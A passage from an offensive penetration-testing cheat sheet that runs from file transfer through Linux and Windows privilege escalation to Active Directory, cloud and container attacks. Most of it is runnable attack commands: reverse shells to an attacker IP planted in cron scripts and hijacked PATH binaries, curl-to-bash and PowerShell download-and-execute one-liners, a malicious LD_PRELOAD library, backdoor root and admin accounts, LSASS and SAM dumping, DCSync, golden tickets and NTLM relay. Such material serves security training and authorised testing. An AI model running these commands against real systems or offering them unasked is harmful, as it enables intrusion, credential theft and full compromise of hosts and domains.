Moving files to and from the target is a constant requirement. You need to upload privilege escalation scripts, exploit binaries, and tools. You need to download configuration files, password databases, and loot. The available transfer method depends entirely on what’s installed on the target and what outbound network connections are allowed.

Python HTTP server is the most common approach: run it on your attacker machine, download from the target with wget or curl. Simple, reliable, requires only Python and a webcapable downloader on the target.

Base64 encoding works when no network method is available copy the base64encoded content of a file, paste it into the terminal, and decode. Slow for large files but works in completely restricted environments.

SMB shares (via impacketsmbserver) are the cleanest Windows method Windows natively supports mounting SMB shares, so you can copy files without any download tools at all.

MethodCommandNotes
wgetwget http://YOURIP/file O /tmp/fileMost common Linux
curlcurl http://YOURIP/file o /tmp/fileUsually available
Python HTTPpython3 m http.server 80 (attacker)Serve from current dir
netcatnc YOURIP 4444 < file (victim) / nc lvnp 4444 > file (attacker)Raw transfer
base64`base64 file; echo “b64”base64 d > file`No network needed
PowerShellIWR http://YOURIP/file OutFile C:\Windows\Temp\fileWindows download
certutilcertutil urlcache split f http://YOURIP/file fileBypass PS restrictions
SMBimpacketsmbserver share . smb2support (attacker)Windows native

⬡ PHASE 6 LINUX PRIVILEGE ESCALATION

Privilege escalation (privesc) is the process of moving from your initial lowprivilege access (a web server user, a restricted shell account) to a higherprivilege account ideally root. On Linux, root is the ultimate goal: it means unrestricted access to every file, every process, and every configuration on the system.

The mindset: Every configuration choice, every script, every scheduled task, and every software installation on the system is a potential privilege escalation path. You’re looking for anything that runs with elevated privileges and can be influenced by your current lowprivilege user SUID binaries you can abuse, sudo rules you can exploit, cron jobs that run writable scripts, services running as root that have configuration you control.

Always enumerate before escalating. LinPEAS automates the bulk of this, but automated tools miss context. Read what they output, understand why something is flagged, and make your own judgment about whether it’s exploitable.

6.1 Automated Enumeration

LinPEAS (Linux Privilege Escalation Awesome Script) is the most comprehensive automated Linux privilege escalation enumeration tool available. It checks hundreds of potential vectors: SUID/SGID binaries, sudo rights, writable files in critical locations, cron jobs, capabilities, environment variables, installed software versions, running processes, network connections, and more. It colorcodes output by severity red/yellow findings are the highest priority.

pspy monitors running processes and their arguments without requiring root access. It uses Linux’s /proc filesystem to read process information. Run it and wait 515 minutes eventually cron jobs will fire, showing you exactly what scripts run as root, when, and with what arguments.

curl L https://github.com/carlospolop/PEASSng/releases/latest/download/linpeas.sh | bash
wget http://YOURIP/linpeas.sh O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh | tee /tmp/lp.out

wget http://YOURIP/pspy64 O /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy

6.2 SUID/SGID Binaries

SUID (Set User ID) is a Unix permission bit that causes a program to execute with the permissions of its owner rather than the user running it. SUID binaries owned by root run as root, regardless of who invokes them. This mechanism exists for legitimate purposes (e.g., passwd needs root privileges to write to /etc/shadow), but when it’s applied to inappropriate binaries, it creates privilege escalation paths.

GTFOBins (gtfobins.github.io) is the essential reference for SUID exploitation. For every Unix binary, it documents techniques for reading files, writing files, and spawning shells when that binary has SUID set. vim, find, python, awk, env, cp all can be abused to drop to a root shell when SUID is set.

SGID (Set Group ID) works the same way but runs the process with the group permissions of the file’s group rather than root.

find / perm u=s type f 2>/dev/null
find / perm 4000 o perm 2000 type f 2>/dev/null

# Common SUID privesc (check GTFOBins for all)
find / perm u=s name "python*" 2>/dev/null # python c "import os;os.setuid(0);os.system('/bin/bash')"
find / perm u=s name "bash" 2>/dev/null    # bash p
find / perm u=s name "vim*" 2>/dev/null    # vim c ":!/bin/bash"
find / perm u=s name "find" 2>/dev/null    # find . exec /bin/bash p \;
find / perm u=s name "cp" 2>/dev/null      # overwrite /etc/passwd
find / perm u=s name "nano" 2>/dev/null    # nano /etc/passwd
find / perm u=s name "env" 2>/dev/null     # env /bin/sh p
find / perm u=s name "awk" 2>/dev/null     # awk 'BEGIN {system("/bin/bash")}'
find / perm u=s name "php*" 2>/dev/null    # php r "system('/bin/bash p');"
find / perm u=s name "perl*" 2>/dev/null   # perl e 'use POSIX;setuid(0);system("/bin/bash");'

6.3 Sudo Privileges

sudo (Superuser Do) allows permitted users to execute commands as root (or another user) based on rules configured in /etc/sudoers. sudo l lists the current user’s sudo permissions. This is the first command to run after getting a shell, because sudo misconfigurations are the most common Linux privilege escalation path.

Passwordless sudo on any program is an immediate root shell via GTFOBins. Even seemingly harmless programs can spawn shells: vim has a builtin shell command, less can run commands, find can execute arbitrary programs with exec, and awk has a system() function.

LD_PRELOAD is a Linux environment variable that specifies a shared library to load before all others. If sudo preserves LD_PRELOAD (the env_keep+=LD_PRELOAD sudo option), you can compile a malicious shared library that drops a root shell in its _init() function and load it with any sudopermitted command.

sudo l

# Common sudo privesc
sudo vim c ":!/bin/bash"
sudo less /etc/hosts → !/bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . exec /bin/bash \;
sudo python3 c "import os;os.system('/bin/bash')"
sudo env /bin/bash

# LD_PRELOAD trick (if env vars preserved)
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() { setuid(0); system("/bin/bash"); }
EOF
gcc fPIC shared o /tmp/evil.so /tmp/evil.c nostartfiles
sudo LD_PRELOAD=/tmp/evil.so [any_sudo_binary]

6.4 Cron Jobs

Cron is the Linux task scheduler. Cron jobs run commands or scripts at specified times every minute, every hour, daily, weekly. When rootowned cron jobs execute scripts or binaries that are writable by your user, you can modify those scripts to execute arbitrary commands as root the next time the cron job fires.

The importance of pspy: /etc/crontab shows the system crontab, but cron can also be configured peruser (via crontab e), per service (in /etc/cron.d/), and through anacron. Some root cron jobs don’t appear in the standard crontab files. pspy monitors process execution and will show you every cron job that fires, even ones hidden in nonstandard locations.

Wildcard injection is a subtle but powerful technique. When a cron job runs tar czf backup.tar.gz * in a directory you control, the shell expands * to all filenames. If you create a file named checkpointaction=exec=bash /tmp/shell.sh, the shell includes that string in the tar command arguments, effectively injecting an additional option that causes tar to execute your script.

cat /etc/crontab
cat /etc/cron.d/*
cat /var/spool/cron/*
ls la /etc/cron.{hourly,daily,weekly,monthly}/

./pspy64   # watch for rootexecuted processes (515 min)

# If root cron calls a writable script
echo "bash i >& /dev/tcp/YOURIP/4444 0>&1" >> /path/to/cron_script.sh

# Wildcard injection in cron tar
touch  "checkpoint=1"
touch  "checkpointaction=exec=bash /tmp/shell.sh"

Wildcard injection in tar/chown/chmod. If a script runs tar * in a directory you control, create filenames that become commandline arguments.

6.5 Writable Files & Path Hijacking

Writable critical files are an immediate privilege escalation. /etc/passwd worldwritable means you can add a new root user (with no password or a known password hash) and su to it. /etc/sudoers writable means you can grant yourself passwordless sudo. Scripts in /etc/cron.d/ writable means modifying root cron jobs. Any file executed by root that you can write to is a privilege escalation path.

PATH hijacking exploits the Linux command search path. When a script or SUID binary runs a command by name (e.g., curl) without specifying the full path (e.g., /usr/bin/curl), the shell searches the directories in $PATH in order. By prepending a directory you control to $PATH and placing a malicious executable with the same name in it, you intercept the command and execute your code instead.

find / writable type d 2>/dev/null | grep v proc
find / writable user root type f 2>/dev/null | grep v proc

# Writable /etc/passwd
echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker

# PATH hijacking
echo "bash i >& /dev/tcp/YOURIP/4444 0>&1" > /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH

6.6 Linux Capabilities

Linux capabilities divide the root privilege set into distinct units that can be granted to processes or files independently. Rather than running a program as root (allornothing), capabilities allow granting specific privileges like cap_net_bind_service (bind ports below 1024) or cap_setuid (change user ID) without granting full root access.

cap_setuid is the capability that matters most for privilege escalation. A binary with cap_setuid+ep in its capabilities can call setuid(0) to become root. Combined with os.system('/bin/bash'), any language binary with this capability (Python, Perl, Ruby, Node.js) is an instant root shell. getcap r / recursively lists all files with capabilities set.

getcap r / 2>/dev/null

# cap_setuid exploit
python3 c "import os; os.setuid(0); os.system('/bin/bash')"
perl e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
ruby e 'Process::Sys.setuid(0); exec "/bin/bash"'
node e "process.setuid(0); require('child_process').spawn('/bin/bash', {stdio: 'inherit'})"

6.7 Kernel Exploits

Kernel exploits target vulnerabilities in the Linux kernel itself. Because the kernel runs with the highest privilege level, exploiting a kernel vulnerability typically results in direct root code execution. These are powerful but risky a failed kernel exploit often crashes the system.

When to use kernel exploits: Only after exhausting all other privilege escalation avenues. Kernel exploits should be a last resort because they’re unstable, potentially systemcrashing, and likely to be detected. In real engagements, crashing a production server is unacceptable. In CTFs, it’s just annoying.

Key CVEs to know: DirtyPipe (CVE20220847): Linux 5.85.16. Allows overwriting readonly files including /etc/passwd. Reliably exploitable with public PoCs. PwnKit (CVE20214034): A vulnerability in pkexec (polkit). Affects virtually every Linux distro. Extremely reliable usually a oneshot root. Baron Samedit (CVE20213156): Heap overflow in sudo before 1.9.5p2. Works even without sudo permissions.

uname a
cat /proc/version

searchsploit linux kernel $(uname r)

# Key CVEs
# DirtyPipe CVE20220847  Linux 5.85.16
gcc o dirtypipe dirtypipe.c && ./dirtypipe /etc/passwd 1 "hacked::0:0::/root:/bin/bash"

# PwnKit CVE20214034
gcc o pwnkit pwnkit.c && ./pwnkit

# Baron Samedit (sudo < 1.9.5)
sudo version  # check first

6.8 Credential Hunting

Credentials are everywhere on a Linux system if you know where to look. Shell history files record every command a user typed including commands with passwords embedded as arguments or environment variables. Configuration files for web applications, databases, and services store connection credentials. SSH keys stored in home directories or backup locations provide direct authentication to other systems.

/proc/[pid]/environ contains the environment variables of a running process including any secrets set as environment variables. Reading this file for web server processes (which often have database credentials in their environment) can yield immediate access.

Recursive grep for common passwordrelated variable names across the filesystem is a broad but effective technique. The key is excluding /proc and /sys which would produce enormous output from kernel pseudofiles.

cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history

find / name "wpconfig.php" 2>/dev/null
find / name ".env" 2>/dev/null | xargs cat 2>/dev/null
find / name "id_rsa" o name "id_ed25519" o name "*.pem" 2>/dev/null

grep r "db_pass\|dbpassword\|DB_PASSWORD\|MYSQL_PASSWORD" / 2>/dev/null | grep v "proc\|sys"

cat /proc/[pid]/environ 2>/dev/null | tr "\0" "\n" | grep i pass

6.9 Docker Container Escape

When you have a shell inside a Docker container, your goal is to escape to the underlying host. Containers are isolated but not perfectly several misconfigurations provide escape paths.

Docker socket access is the most common and most impactful. The Docker socket (/var/run/docker.sock) is the Unix socket the Docker daemon listens on. If it’s mounted inside a container (a common pattern for CI/CD systems that need to build Docker images), you have full control of the Docker daemon including running new containers that mount the host’s root filesystem.

Privileged containers disable most container isolation mechanisms, giving the container process full access to host devices, capabilities, and kernel features. A privileged container can mount host disks and access the host filesystem directly.

cat /proc/1/cgroup | grep docker
ls /.dockerenv

# Docker.sock inside container
ls la /var/run/docker.sock
docker H unix:///var/run/docker.sock run v /:/host it alpine chroot /host bash

# Privileged container
capsh print 2>/dev/null || cat /proc/self/status | grep Cap
# Mount host disk if full capabilities
fdisk l
mount /dev/sda1 /mnt && chroot /mnt

6.10 Linux PrivEsc Quick Checklist

CheckCommandPriority
SUID binariesfind / perm u=s type f 2>/dev/nullCRITICAL
sudo rightssudo lCRITICAL
Cron jobscat /etc/crontab; pspy64CRITICAL
Writable /etc/passwdls la /etc/passwdHIGH
Capabilitiesgetcap r / 2>/dev/nullHIGH
Kernel versionuname a → searchsploitHIGH
History filescat ~/.bash_history ~/.zsh_historyHIGH
.env filesfind / name ".env" 2>/dev/nullHIGH
docker group`idgrep docker`HIGH
lxd group`idgrep lxd`HIGH
disk group`idgrep disk`HIGH

⬡ PHASE 7 WINDOWS PRIVILEGE ESCALATION

Windows privilege escalation is a different landscape from Linux. The operating system architecture, permission model, and builtin features create Windowsspecific attack surfaces: token privileges, service misconfigurations, registry ACLs, scheduled tasks, and the pervasive issue of SeImpersonatePrivilege which plagues Windows service accounts.

Windows runs many services as lowprivilege accounts (NETWORK SERVICE, LOCAL SERVICE, IIS APPPOOL) that have a special token privilege SeImpersonatePrivilege that’s intended for legitimate impersonation scenarios. Security tools discovered that this privilege can be abused to impersonate the SYSTEM token and achieve full system compromise. The Potato family of exploits (JuicyPotato, PrintSpoofer, GodPotato, RoguePotato) all abuse this privilege in different ways.

7.1 Initial Enumeration

Windows enumeration builds the same picture as Linux enumeration: who are we, what can we do, what’s running, and what’s misconfigured? WinPEAS is the Windows equivalent of LinPEAS comprehensive automated enumeration. PowerUp is a PowerShell script focused specifically on common Windows privilege escalation vectors. Seatbelt is a thorough host survey tool originally from SpecterOps. PrivescCheck is another comprehensive PowerShell privilege escalation checker.

whoami /priv is the first command you want it shows token privileges for the current session, immediately flagging highvalue targets like SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, and SeBackupPrivilege.

whoami && whoami /priv && whoami /groups
systeminfo
net user
net localgroup administrators
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Automated
winpeas.exe > winpeas.txt 2>&1
. .\PowerUp.ps1; InvokeAllChecks
.\Seatbelt.exe group=all > seatbelt.txt
. .\PrivescCheck.ps1; InvokePrivescCheck Extended > privesc.txt

7.2 Token Impersonation (SeImpersonatePrivilege)

SeImpersonatePrivilege (Impersonate a client after authentication) is a Windows privilege that allows a process to impersonate another user’s security context after they authenticate to it. It’s legitimately granted to service accounts so web servers and databases can impersonate connecting clients. However, it can be abused to impersonate the SYSTEM account.

How Potato exploits work: They create a situation where a privileged account (SYSTEM or a highprivilege service) authenticates to a service the attacker controls (via COM object abuse, named pipe tricks, or print spooler vulnerabilities). When SYSTEM connects, SeImpersonatePrivilege lets the attacker’s process impersonate that SYSTEM token and use it to launch processes.

JuicyPotato: Works on Windows Server 20082016 and Windows 710. Requires a writable CLSID. PrintSpoofer: Exploits the Windows Print Spooler. Works on Windows 10 and Server 2019. GodPotato: The most modern and universal works from Windows 2012 through 2022. RoguePotato: Alternative technique for when PrintSpoofer and JuicyPotato don’t work.

⚠️ SeImpersonatePrivilege = almost always instant SYSTEM.

whoami /priv | findstr "SeImpersonatePrivilege\|SeAssignPrimaryTokenPrivilege"

# JuicyPotato (older Windows)
JuicyPotato.exe l 1337 p C:\Windows\System32\cmd.exe a "/c whoami" t *

# PrintSpoofer (Windows 10/Server 2019)
PrintSpoofer.exe i c cmd.exe

# GodPotato (modern  works on Windows 20122022)
GodPotato.exe cmd "cmd.exe /c whoami"
GodPotato.exe cmd "powershell c IEX(IWR http://YOURIP/shell.ps1)"

# RoguePotato
RoguePotato.exe r YOURIP e "cmd.exe /c whoami"

7.3 ServiceBased Privesc

Windows services that run as SYSTEM (or highprivilege accounts) and have weak permissions create multiple escalation paths:

Writable service binary: If you can replace the executable that a SYSTEM service runs, the next time the service starts, your executable runs as SYSTEM. accesschk.exe checks what permissions you have on service binaries.

Unquoted service path: Windows service paths with spaces must be quoted. C:\Program Files\My App\service.exe should be "C:\Program Files\My App\service.exe". Without quotes, Windows tries to run C:\Program.exe, then C:\Program Files\My.exe, then C:\Program Files\My App\service.exe in that order. If you can create C:\Program Files\My.exe, it runs as SYSTEM when the service starts.

Weak service ACLs: Even if you can’t replace the binary, if you have write permission on the service’s configuration (via the Service Control Manager), you can change the binary path to point to anything you want.

. .\PowerUp.ps1; GetModifiableServiceFile
. .\PowerUp.ps1; GetServiceUnquoted

accesschk.exe wuvc * /accepteula
sc qc [servicename]

# Writable service binary  replace it
copy C:\Windows\System32\cmd.exe "C:\path\to\service.exe"
net stop [service] && net start [service]

# Unquoted path exploit
# If path: C:\Program Files\My App\service.exe
# Create: C:\Program Files\My.exe as malicious binary

7.4 Registry Privesc

AlwaysInstallElevated is a Group Policy setting that, when enabled in both HKCU and HKLM, allows any user to install Windows Installer packages (.msi files) with SYSTEM privileges. If both registry keys are set to 1, create a malicious MSI with msfvenom and install it the installer runs as SYSTEM, executing your payload.

SAM database contains local user account password hashes. Normally locked while Windows is running, it can be exported via reg save if you have backup operator privileges or admin access. Combined with the SYSTEM hive (which contains the encryption key), impacketsecretsdump extracts all NTLM hashes for local accounts.

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must be 1
msfvenom p windows/x64/shell_reverse_tcp LHOST=YOURIP LPORT=4444 f msi o evil.msi
msiexec /quiet /qn /i evil.msi

# SAM dump
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
impacketsecretsdump sam SAM system SYSTEM LOCAL

7.5 Stored Credentials

Windows stores credentials in multiple locations, and unlike Linux, many of these are accessible through builtin tools. PowerShell command history is saved to a plaintext file and frequently contains credentials passed to commands. cmdkey stores saved credentials for remote connections. The Windows Credential Manager stores browser passwords, network credentials, and application credentials.

LSASS (Local Security Authority Subsystem Service) is the Windows process responsible for authentication. It holds inmemory copies of recently authenticated user credentials in various formats plaintext (in older configurations), NTLM hashes, and Kerberos tickets. Mimikatz extracts these by reading the LSASS process memory. pypykatz is a purePython offline alternative that can process LSASS memory dumps.

Creating an LSASS memory dump via rundll32.exe comsvcs.dll, MiniDump is a common technique for extracting credentials without dropping mimikatz on disk the dump can be exfiltrated and processed offline.

findstr /si password *.txt *.xml *.ini *.config 2>nul
dir /s *pass* == *cred* == *vnc* == *.config*

# PowerShell history
type $env:USERPROFILE\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

cmdkey /list
runas /savecred /user:admin cmd.exe

# LSASS dump
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
rundll32.exe comsvcs.dll, MiniDump [lsass_pid] lsass.dmp full
pypykatz lsa minidump lsass.dmp

⬡ PHASE 8 ACTIVE DIRECTORY ATTACKS

Active Directory (AD) is Microsoft’s directory service for Windows domain networks it’s the backbone of authentication and authorization in virtually every enterprise Windows environment. A domain controller running AD is the central source of truth for who can access what. Compromising AD means compromising the entire organization.

Why AD is such a rich target: AD is complex, has evolved over 25 years, and carries enormous amounts of legacy protocol support for backward compatibility. Many of the most impactful attacks exploit features that work exactly as designed Kerberos ticket requests, LDAP queries, certificate enrollment but are abused in ways the designers didn’t anticipate.

The AD attack flow generally follows this pattern: Obtain initial credentials (even lowprivilege) → enumerate the domain → find attack paths → escalate to Domain Admin → DCSync → dump all hashes → own everything.

8.1 Initial AD Enumeration

BloodHound is the single most important Active Directory enumeration tool. It collects data via SharpHound (or bloodhoundpython for remote collection) and visualizes the relationships between users, computers, groups, and permissions as a graph. Most importantly, it can automatically calculate attack paths the shortest series of relationships that leads from any given user to Domain Admin. What would take hours of manual LDAP queries is reduced to a single graph query.

Key BloodHound queries to run immediately: “Find Shortest Paths to Domain Admins” shows all routes from any node to DA “List all Kerberoastable Accounts” service accounts with SPNs “Find ASREP Roastable Users” accounts without preauth requirement “Find Computers where Domain Users are Local Admin” lateral movement opportunities

# BloodHound (most important)
bloodhoundpython d $DOMAIN u $USER p $PASS c all ns $IP zip
# Key queries:
# Find Shortest Paths to Domain Admins
# Kerberoastable accounts
# ASREP Roastable accounts
# Computers where USER can RDP/WinRM

impacketGetADUsers $DOMAIN/$USER:$PASS dcip $IP all
ldapdomaindump $IP u "$DOMAIN\\$USER" p "$PASS" o ldap_dump/

8.2 ASREP Roasting

ASREP Roasting targets Kerberos accounts that have “Do not require Kerberos preauthentication” enabled. Normally, Kerberos requires clients to prove they know the user’s password before the KDC (Key Distribution Center) sends them an encrypted ticket. When preauthentication is disabled, anyone can request an encrypted ASREP message for that user and the encrypted part contains data encrypted with the user’s password hash. This encrypted blob can be taken offline and cracked with hashcat or john.

Why this works without credentials: The KDC willingly sends the ASREP to anyone who asks, because preauthentication is disabled. You don’t need to be authenticated to the domain you just need network access to the domain controller and a username.

impacketGetNPUsers $DOMAIN/ nopass usersfile users.txt dcip $IP format hashcat
impacketGetNPUsers $DOMAIN/$USER:$PASS dcip $IP format hashcat outputfile asrep_hashes.txt

hashcat m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
john asrep_hashes.txt wordlist=/usr/share/wordlists/rockyou.txt

8.3 Kerberoasting

Kerberoasting exploits the Kerberos service ticket mechanism. Any authenticated domain user can request a service ticket (TGS) for any service account that has a Service Principal Name (SPN) registered. Service tickets are encrypted with the service account’s password hash. By requesting tickets for all SPNregistered accounts and taking the encrypted tickets offline, you can crack the service account passwords.

Why service account passwords are weak: Service accounts are often set up with passwords that never expire and are rarely changed. Administrators set them and forget about them. Over years, these accounts accumulate high privileges and weak, old passwords. Kerberoasted hashes for service accounts crack quickly because of poor password hygiene.

Unlike ASREP Roasting, Kerberoasting requires at least one set of valid domain credentials but even lowprivilege user credentials are enough.

impacketGetUserSPNs $DOMAIN/$USER:$PASS dcip $IP request outputfile kerberoast.txt

hashcat m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# From Windows
.\Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.txt

8.4 PasstheHash / PasstheTicket

PasstheHash (PtH) exploits the fact that Windows authentication protocols (NTLM) use the password hash directly for authentication, not the plaintext password. Once you have an NTLM hash (from mimikatz, secretsdump, or SAM dumps), you can authenticate as that user to any Windows service that uses NTLM without ever knowing the plaintext password.

Impacket’s psexec/wmiexec/smbexec accept NTLM hashes directly via the hashes :HASH syntax (the colon separates the LM hash from the NT hash for modern Windows, the LM hash is always empty). evilwinrm also supports hashbased authentication with H.

PasstheTicket (PtT) is the Kerberos equivalent. Kerberos tickets (TGTs and TGS) are stored on disk as .ccache files (Linux) or in memory (Windows). Exporting a ticket and setting the KRB5CCNAME environment variable allows impacket tools to use that ticket for authentication impersonating the user it belongs to for the duration of its validity.

impacketpsexec $DOMAIN/$USER@$IP hashes :NTLM_HASH
impacketwmiexec $DOMAIN/$USER@$IP hashes :NTLM_HASH
crackmapexec smb $IP u $USER H NTLM_HASH execmethod smbexec
evilwinrm i $IP u $USER H NTLM_HASH

# PasstheTicket
export KRB5CCNAME=/path/to/ticket.ccache
impacketpsexec $DOMAIN/$USER@$IP k nopass

8.5 DCSync

DCSync abuses the Active Directory replication mechanism. Domain controllers replicate changes to the AD database between themselves using the MSDRSR (Directory Replication Service Remote Protocol). An attacker who has the DSReplicationGetChanges and DSReplicationGetChangesAll rights (typically held by Domain Admins, Enterprise Admins, and Domain Controllers) can simulate a domain controller and request credential data for any user from a real DC including the NTLM hash of every account including krbtgt.

Why getting the krbtgt hash is the ultimate goal: The krbtgt account’s NTLM hash is used to sign all Kerberos tickets. With this hash, you can forge Golden Tickets Kerberos TGTs for any user that are indistinguishable from legitimate tickets giving you persistent, authenticated access to the domain even after password changes.

impacketsecretsdump $DOMAIN/$USER:$PASS@$IP justdc
impacketsecretsdump $DOMAIN/$USER:$PASS@$IP justdcuser krbtgt

# mimikatz
mimikatz "lsadump::dcsync /domain:$DOMAIN /user:Administrator" "exit"
mimikatz "lsadump::dcsync /domain:$DOMAIN /all /csv" "exit"

8.6 NTLM Relay

NTLM relay attacks exploit the challengeresponse nature of NTLM authentication. When a Windows machine tries to authenticate to a service, it sends an NTLM authentication challengeresponse. Instead of capturing and cracking this hash, relay attacks intercept it and immediately forward (relay) it to another target authenticating to that target as the victim user.

The setup: Responder poisons LLMNR/NBTNS broadcasts (Windows name resolution protocols that broadcast to the local network when DNS fails) to capture authentication attempts. By turning off SMB and HTTP in Responder (which would answer and capture, but not relay), we redirect those captures to ntlmrelayx, which forwards them to target machines.

SMB signing is the defense when SMB signing is required, relayed authentication is rejected. The relay target list is only for machines without required SMB signing.

# Find machines without SMB signing
crackmapexec smb $IP/24 genrelaylist unsigned_hosts.txt

# Responder (SMB and HTTP off for relay)
responder I eth0 dw
# Edit /etc/responder/Responder.conf → SMB = Off, HTTP = Off

# ntlmrelayx
impacketntlmrelayx tf unsigned_hosts.txt smb2support
impacketntlmrelayx tf unsigned_hosts.txt smb2support i
impacketntlmrelayx tf unsigned_hosts.txt smb2support c "net user hacker P@ss! /add && net localgroup administrators hacker /add"

# Relay to LDAP for DCSync
impacketntlmrelayx t ldap://$DC smb2support delegateaccess

8.7 ADCS Attacks

Active Directory Certificate Services (ADCS) is Microsoft’s PKI (Public Key Infrastructure) implementation. It issues digital certificates used for authentication, email encryption, code signing, and more. SpecterOps researchers discovered in 2021 that ADCS is riddled with privilege escalation and lateral movement vulnerabilities, catalogued as ESC1 through ESC8.

ESC1 (Enrollee supplies subject) is the most commonly found and most impactful. A certificate template that allows enrollees to specify the Subject Alternative Name (SAN) in their certificate request can be abused: request a certificate specifying administrator@domain.com as the SAN, and the resulting certificate authenticates you as the Administrator when used with Kerberos PKINIT authentication.

certipy is the de facto standard tool for ADCS enumeration and exploitation. certipy find vulnerable shows all vulnerable templates in the environment.

certipy find u $USER@$DOMAIN p $PASS dcip $IP stdout
certipy find u $USER@$DOMAIN p $PASS dcip $IP vulnerable

# ESC1  enrollee can specify SAN
certipy req ca "CANAME" template "TEMPLATENAME" upn administrator@$DOMAIN \
    u $USER@$DOMAIN p $PASS dcip $IP

# Get certificate and authenticate
certipy auth pfx administrator.pfx domain $DOMAIN dcip $IP

ADCS ESC1 is extremely common. Enroll in vulnerable template with Administrator UPN, get cert, authenticate to get admin NTLM hash.

8.8 Golden / Silver Ticket

Golden Tickets are forged Kerberos TGTs (Ticket Granting Tickets) signed with the krbtgt account’s NTLM hash. Since all Kerberos authentication derives trust from the krbtgt hash, a Golden Ticket is indistinguishable from a legitimate ticket issued by the KDC. Golden Tickets can be created for any user (including nonexistent ones) with any group membership and any privilege level. They remain valid even after password changes (unless krbtgt’s password is changed twice in succession).

Silver Tickets are more targeted they’re forged service tickets (TGS) signed with a specific service account’s hash, rather than the krbtgt hash. They bypass the KDC entirely (no KDC contact during authentication) but only work for the specific service they target.

Golden Tickets require: krbtgt NTLM hash + domain SID + target domain name. The domain SID can be retrieved with impacketlookupsid from any valid domain user.

# Golden Ticket (requires krbtgt hash)
impacketticketer nthash KRBTGT_HASH domainsid DOMAIN_SID domain $DOMAIN Administrator
export KRB5CCNAME=Administrator.ccache
impacketpsexec $DOMAIN/Administrator@$DC k nopass

# mimikatz Golden Ticket
mimikatz "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /ptt" "exit"

# Get domain SID
impacketlookupsid $DOMAIN/$USER:$PASS@$IP | grep "Domain SID"

8.9 Shadow Credentials

Shadow Credentials is a relatively modern AD attack technique that exploits the msDSKeyCredentialLink attribute on user and computer objects. This attribute stores public keys used for Windows Hello for Business (passwordless authentication). If you have write access to this attribute on a target account (via GenericWrite, WriteProperty, or AllExtendedRights ACL permissions), you can add your own key credential, then authenticate as that account using certificatebased Kerberos (PKINIT) which gives you their NTLM hash via the U2U (UsertoUser) authentication mechanism.

certipy shadow auto automates the entire process in a single command: adds the shadow credential, authenticates to get the hash, and removes the shadow credential to clean up.

certipy shadow auto u $USER@$DOMAIN p $PASS account TARGET_USER dcip $IP
# Dumps NTLM hash of TARGET_USER in one command

⬡ PHASE 9 CLOUD ATTACKS

Cloud environments introduce a fundamentally different attack surface. Traditional penetration testing focuses on network services and operating systems. Cloud pentesting adds identity and access management (IAM), metadata services, storage buckets, serverless functions, managed databases, and the complex web of permissions that connect them.

The most impactful finding in cloud pentesting is typically IAM key compromise. An exposed AWS access key, Azure credential, or GCP service account key can provide access to an entire cloud environment storage, compute, secrets, and more depending on what permissions are attached. Cloud credentials are often harder to rotate than traditional passwords because they’re embedded in applications, CI/CD pipelines, and infrastructureascode.

9.1 AWS

AWS (Amazon Web Services) uses IAM (Identity and Access Management) to control access to resources. IAM credentials consist of an Access Key ID and Secret Access Key (and optionally a Session Token for temporary credentials). The aws sts getcalleridentity command verifies credentials are valid and shows the IAM identity they belong to.

enumerateiam.py attempts all available AWS API calls with your credentials and reports which ones succeed effectively mapping what permissions you have without knowing the IAM policy in advance.

EC2 Instance Metadata Service (IMDS) is the cloud metadata equivalent described in the SSRF section. From within an EC2 instance, 169.254.169.254 is reachable and provides IAM role credentials for the instance’s attached role. These temporary credentials have the same permissions as the role and the role often has broad S3, Secrets Manager, or EC2 permissions for operational purposes.

export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws sts getcalleridentity

python3 enumerateiam.py accesskey $ACCESS_KEY secretkey $SECRET_KEY

aws s3 ls nosignrequest
aws s3 ls s3://bucketname
aws iam listusers
aws ec2 describeinstances region useast1
aws secretsmanager listsecrets
aws secretsmanager getsecretvalue secretid SecretName

# SSRF to metadata (IMDSv1)
curl http://169.254.169.254/latest/metadata/iam/securitycredentials/
curl http://169.254.169.254/latest/metadata/iam/securitycredentials/ROLE_NAME

9.2 Azure

Azure uses a combination of Azure Active Directory (AAD) for identity and Azure RBAC (RoleBased Access Control) for resource access. The az CLI tool and AzureAD PowerShell module are the primary enumeration interfaces.

Key Vault is Azure’s secrets management service it stores API keys, passwords, certificates, and cryptographic keys. Enumerate which Key Vaults exist and whether your compromised credentials have read access to secrets.

az login u user@tenant.onmicrosoft.com p password
az account list
az ad user list
az keyvault list && az keyvault secret list vaultname VAULT
az vm list

ConnectAzureAD Credential $cred
GetAzureADUser All $true

⬡ PHASE 10 CONTAINER & KUBERNETES

Containers and container orchestration platforms (Docker, Kubernetes) have their own attack surface that overlaps with but differs from traditional systems. Containers are meant to isolate processes from each other and from the host, but this isolation is only as strong as the configuration and misconfigurations are endemic.

The fundamental question with containers: Can we escape to the host? Container escape is the container equivalent of privilege escalation moving from a restricted container environment to the underlying host operating system.

10.1 Docker

Docker uses Linux namespaces, cgroups, and capabilities to create isolated environments. When these isolation mechanisms are misconfigured or bypassed, container escape becomes possible.

